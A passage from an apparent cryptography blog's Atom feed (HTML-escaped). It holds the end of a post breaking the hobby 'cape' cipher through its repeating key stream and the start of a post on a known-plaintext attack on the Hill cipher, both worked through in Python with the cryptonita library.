&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;len_join_fuzzy_sets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gkeys&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;626513003&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Considering only the &lt;em&gt;most likely key stream&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.fuzzy_set&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;join_fuzzy_sets&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;join_fuzzy_sets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gkeys&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cut_off&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;most_likely&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The resulting decrypted text was nice performance of almost 60% of success:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;decrypted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inf&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;hits&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;decrypted&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;hits&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;0.59&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here are some extract of the decrypted text. See how some words are perfectly visible like “aitn’t”, “soul”, “I’m” and “degree”.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;decrypted&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nblocks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;)[:&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;[IntsyH&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;Otaf.9wanillas&amp;#39; dsond&amp;#39;tit worae5ln&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;a chair,7yea3&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;VfoCltxi&amp;#39;ll lhock &amp;#39;tj&amp;#39;c&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;rn mx6foxvsd ciis ain&amp;#39;t yh.jorropl&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;It-cyfmCshed my ehymw, edIamj, I&amp;#39;m&amp;#39;brawin6&amp;#39;so&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;quipqsq axt  cie best&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;Mael.anhtitr onh!slr&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;ice, let7the2midsEppv&amp;#39;e retr&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;Just1knt&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;nce&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;CsvacbehI7sock with qkovou,!yard lr5oiLesaver&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;Yxu aakec!Loj9-ope,&amp;#39;na...tyfs &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;eal fyzd8?.!ncn a new phvtk, mulain&amp;#39; xq5whO airwaved&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;Anv nhv&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;ywlnre ajgzed &amp;#39;rfrt&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;w my!eayzt,hmn!soul, up xi.thb epnce kmzlr I wanna&amp;#39;7see2ya !Yhyr,, shfme and1ton&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot; thao6ahs1t iee degree&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;Yxr.trnee1my syxyf Hut I bury yog sbd I?tiice fhd I&amp;#39;m1dhk&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;us]&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;Hb2s6p 8aeuy...come xi .. lde&amp;#39;s db!akiY..&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;[Verde 3O&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;Yht&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;tpp&amp;#39;k it u funy1sh&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="final-thoughts"&gt;Final thoughts&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;cape_hash&lt;/code&gt; is symmetric cipher that, despite of having a 65536 bytes length key, the key stream is repeated each 256 of plaintext enabling a &lt;em&gt;cipher only attack&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Even with a short plaintext of just 2852 we got 11 bytes xored with the same key byte and this was enough to get almost 60% of the plaintext.&lt;/p&gt;
&lt;p&gt;&lt;label for='CkJhc2VkIG9uIHRoZSBkb2N1bWVudGF0aW9uIG1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkJhc2VkIG9uIHRoZSBkb2N1bWVudGF0aW9uIG1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Based on the documentation
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;With a theoretical maximum length of 65534 bytes for a single plaintext, we can obtain 256 bytes xored with the same key byte. Virtually any plaintext of that size can be broken completely.&lt;/p&gt;
&lt;p&gt;But if such scenario is not plausible, knowing a little more about the plaintext can really improve the attack.&lt;/p&gt;
&lt;p&gt;A &lt;em&gt;partially known plaintext&lt;/em&gt; of just 256 bytes is fulminant and breaks the ciphering completely.&lt;/p&gt;
&lt;p&gt;Crypto is hard and developing a new cipher is harder. The only way to improve in this field is trying, failing, and trying again.&lt;/p&gt;
&lt;p&gt;A special thank you to Giovanni Blu Mitolo, the author of &lt;code&gt;cape&lt;/code&gt; who made the project &lt;em&gt;open source&lt;/em&gt; and asked for &lt;em&gt;feedback&lt;/em&gt; to the community.&lt;/p&gt;
&lt;!--
$ rm -f cape-ciphertext cape-secret         # byexample: -skip +pass

?: free(ciphertext);    // byexample: +pass
?: free(plaintext);     // byexample: +pass
?: free(secret);        // byexample: +pass
--&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2019/02/03/Cape-Encryption.html" rel="alternate" type="text/html" title="Cape Encryption"/>
    <category term="cryptography" label="cryptography"/>
    <category term="cryptonita" label="cryptonita"/>
    <published>2019-02-03T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2019/01/02/Break-Hill-Cipher-with-a-Known-Plaintext-Attack.html</id>
    <title>Break Hill Cipher with a Known Plaintext Attack</title>
    <updated>2019-01-02T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;Given a matrix secret key \(K\) with shape \(n\textrm{x}n\), the &lt;a href="https://en.wikipedia.org/wiki/Hill_cipher"&gt;Hill cipher&lt;/a&gt; splits the plaintext into blocks of length \(n\) and for each block, computes the ciphertext block doing a linear transformation in module \(m\)&lt;/p&gt;
$$ K p_i = c_i\quad(\textrm{mod } m)$$
&lt;p&gt;For decrypting, we apply the inverse of \(K\)&lt;/p&gt;
$$ p_i = [K]^{-1} c_i \quad(\textrm{mod } m)$$
&lt;p&gt;To make sense, the secret key \(K\) must be chosen such as its inverse exists in module \(m\).&lt;/p&gt;
&lt;p&gt;Ready to break it?&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="known-plaintext-attack"&gt;Known plaintext attack&lt;/h2&gt;
&lt;p&gt;Because the Hill cipher is a linear cipher, it is vulnerable to a known plaintext attack.&lt;/p&gt;
&lt;p&gt;For a secret key \(K\) with shape \(n\textrm{x}n\), we need \(n\) pairs of known plaintext and ciphertext blocks, each of length \(n\).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The resulting equations no only need to be &lt;em&gt;linear independent&lt;/em&gt; in general but in modulo \(m\) too. If not, the calculus of the inverse of the system matrix will fail.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Let’s be the following ciphertext encrypted with an unknown matrix \(K\) with shape \(2\textrm{x}2\) module \(251\).&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x19\xdb&lt;/span&gt;&lt;span class="s1"&gt;&amp;amp;&lt;/span&gt;&lt;span class="se"&gt;\x05&lt;/span&gt;&lt;span class="s1"&gt;,&lt;/span&gt;&lt;span class="se"&gt;\x9f\x8a&lt;/span&gt;&lt;span class="s1"&gt;2&lt;/span&gt;&lt;span class="se"&gt;\xeb&lt;/span&gt;&lt;span class="s1"&gt;.&lt;/span&gt;&lt;span class="se"&gt;\x8f&lt;/span&gt;&lt;span class="s1"&gt;J&lt;/span&gt;&lt;span class="se"&gt;\x9b\xbc&lt;/span&gt;&lt;span class="s1"&gt;Zb]7e&lt;/span&gt;&lt;span class="se"&gt;\xe2&lt;/span&gt;&lt;span class="s1"&gt;f&lt;/span&gt;&lt;span class="se"&gt;\x83\x96&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\xa8&lt;/span&gt;&lt;span class="s1"&gt;j[&lt;/span&gt;&lt;span class="se"&gt;\xb2\x15\x89\x95\x19\xf0&lt;/span&gt;&lt;span class="s1"&gt;4p&lt;/span&gt;&lt;span class="se"&gt;\x06&lt;/span&gt;&lt;span class="s1"&gt;1&lt;/span&gt;&lt;span class="se"&gt;\xc8\xbf\xa0\xd8\xd0\xba&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;L&lt;/span&gt;&lt;span class="se"&gt;\xa4&lt;/span&gt;&lt;span class="s1"&gt;Jl&lt;/span&gt;&lt;span class="se"&gt;\x98\xd9\x89\x95\n\x9b\xa8\x88&lt;/span&gt;&lt;span class="s1"&gt;=KL&lt;/span&gt;&lt;span class="se"&gt;\xa0&lt;/span&gt;&lt;span class="s1"&gt;#&lt;/span&gt;&lt;span class="se"&gt;\xdd&lt;/span&gt;&lt;span class="s1"&gt;Jl&lt;/span&gt;&lt;span class="se"&gt;\xbc&lt;/span&gt;&lt;span class="s1"&gt;E&lt;/span&gt;&lt;span class="se"&gt;\xb3&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\xad\xf5\xa5&lt;/span&gt;&lt;span class="s1"&gt;e&lt;/span&gt;&lt;span class="se"&gt;\xe2&lt;/span&gt;&lt;span class="s1"&gt;6&lt;/span&gt;&lt;span class="se"&gt;\xf9\xc1&lt;/span&gt;&lt;span class="s1"&gt;Y&lt;/span&gt;&lt;span class="se"&gt;\xb2\x15\x87\x08&lt;/span&gt;&lt;span class="s1"&gt;?&lt;/span&gt;&lt;span class="se"&gt;\x95\xf4\r\xcb\x9e&lt;/span&gt;&lt;span class="s1"&gt;&amp;quot;&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x85\xd8\xa0\xc8&lt;/span&gt;&lt;span class="s1"&gt;lMA&lt;/span&gt;&lt;span class="se"&gt;\xcb\x9e&lt;/span&gt;&lt;span class="s1"&gt;Zb&lt;/span&gt;&lt;span class="se"&gt;\x97&lt;/span&gt;&lt;span class="s1"&gt;-&lt;/span&gt;&lt;span class="se"&gt;\xb7\xd9&lt;/span&gt;&lt;span class="s1"&gt;~&lt;/span&gt;&lt;span class="se"&gt;\xb7&lt;/span&gt;&lt;span class="s1"&gt;Bq&lt;/span&gt;&lt;span class="se"&gt;\t\x03\x94\x1c&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;@&lt;/span&gt;&lt;span class="se"&gt;\x01&lt;/span&gt;&lt;span class="s1"&gt;/n&lt;/span&gt;&lt;span class="se"&gt;\x83\x89&lt;/span&gt;&lt;span class="s1"&gt;1&lt;/span&gt;&lt;span class="se"&gt;\x92&lt;/span&gt;&lt;span class="s1"&gt;p&lt;/span&gt;&lt;span class="se"&gt;\x10&lt;/span&gt;&lt;span class="s1"&gt;F&lt;/span&gt;&lt;span class="se"&gt;\xec&lt;/span&gt;&lt;span class="s1"&gt;h&lt;/span&gt;&lt;span class="se"&gt;\xf7\xb8\xc5\xbb\xa8\x9c&lt;/span&gt;&lt;span class="s1"&gt;Y&lt;/span&gt;&lt;span class="se"&gt;\xcf\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;251&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Let’s be a known (partial) plaintext of 4 bytes (2 blocks of length 2)&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;known_plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Hill&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;partial_ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;known_plaintext&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;partial_ciphertext&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;&lt;span class="se"&gt;\x9f\x8a&lt;/span&gt;&lt;span class="s1"&gt;2&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;With these two pairs &lt;code&gt;Hi -&amp;gt; ,\x9f&lt;/code&gt; and &lt;code&gt;ll -&amp;gt; \x8a2&lt;/code&gt; we can build the following equation system:&lt;/p&gt;
$$
K p_1 = c_1 \quad(\textrm{mod } m) \\
K p_2 = c_2 \quad(\textrm{mod } m)
$$
&lt;p&gt;Each pair adds one equation or two if we see them in an unrolled way (we decompose each vector and matrix and make the dot product explicit):&lt;/p&gt;
$$
K_{1,1} p_{1,1} + K_{1,2} p_{1,2} = c_{1,1} \quad(\textrm{mod } m) \\
K_{2,1} p_{1,1} + K_{2,2} p_{1,2} = c_{1,2} \quad(\textrm{mod } m) \\
K_{1,1} p_{2,1} + K_{1,2} p_{2,2} = c_{2,1} \quad(\textrm{mod } m) \\
K_{2,1} p_{2,1} + K_{2,2} p_{2,2} = c_{2,2} \quad(\textrm{mod } m) \\
$$
&lt;p&gt;All those equations can be seen as a single one if we see all the plaintext and ciphertext blocks/vectors as two matrices.&lt;/p&gt;
$$K P = C \quad(\textrm{mod } m)$$
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;numpy&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nn"&gt;np&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;known_plaintext&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reshape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;
&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;([[&lt;/span&gt; &lt;span class="mi"&gt;72&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;108&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
       &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;105&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;108&lt;/span&gt;&lt;span class="p"&gt;]])&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;C&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;partial_ciphertext&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reshape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;C&lt;/span&gt;
&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;([[&lt;/span&gt; &lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;138&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
       &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;159&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;]])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="find-the-secret-key-matrix-k"&gt;Find the secret key matrix K&lt;/h3&gt;
&lt;p&gt;Then:&lt;/p&gt;
$$ K = C [P]^{-1} \quad(\textrm{mod } m)$$
&lt;p&gt;Where \([P]^{-1}\) is the inverse of the matrix \(P\) &lt;em&gt;in&lt;/em&gt; \((\textrm{mod } m)\) so we cannot apply a standard inverse operation.&lt;/p&gt;
&lt;p&gt;Thankfully &lt;a href="https://pypi.org/project/cryptonita/"&gt;cryptonita&lt;/a&gt; already implements this inverse for us.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.mod&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;inv_matrix&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;iP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;inv_matrix&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;
&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;([[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
       &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]])&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;K&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;
